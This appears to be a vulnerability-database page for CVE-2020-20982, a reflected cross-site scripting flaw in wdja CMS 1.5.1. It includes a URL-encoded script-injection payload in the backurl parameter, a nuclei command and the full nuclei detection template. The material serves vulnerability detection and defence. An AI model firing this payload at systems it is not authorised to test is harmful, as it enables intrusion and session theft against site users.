HexBrain

Browse / CVEs / CVE-2020-20982

CVE-2020-20982· wdja / wdja cms· CWE-79

shadoweb wdja v1.5.1 - Cross-Site Scripting

criticalseverity
9.6CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "location.href='</script><script>alert(document.domain)</scr…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-20982 -u <target>

The full check
id: CVE-2020-20982

info:
  name: shadoweb wdja v1.5.1 - Cross-Site Scripting
  author: pikpikcu,ritikchaddha
  severity: critical
  description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/shadoweb/wdja/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20982
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2020-20982
    cwe-id: CWE-79
    epss-score: 0.06191
    epss-percentile: 0.93559
    cpe: cpe:2.3:a:wdja:wdja_cms:1.5.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wdja
    product: wdja_cms
  tags: cve2020,cve,xss,wdja,shadoweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "location.href='</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from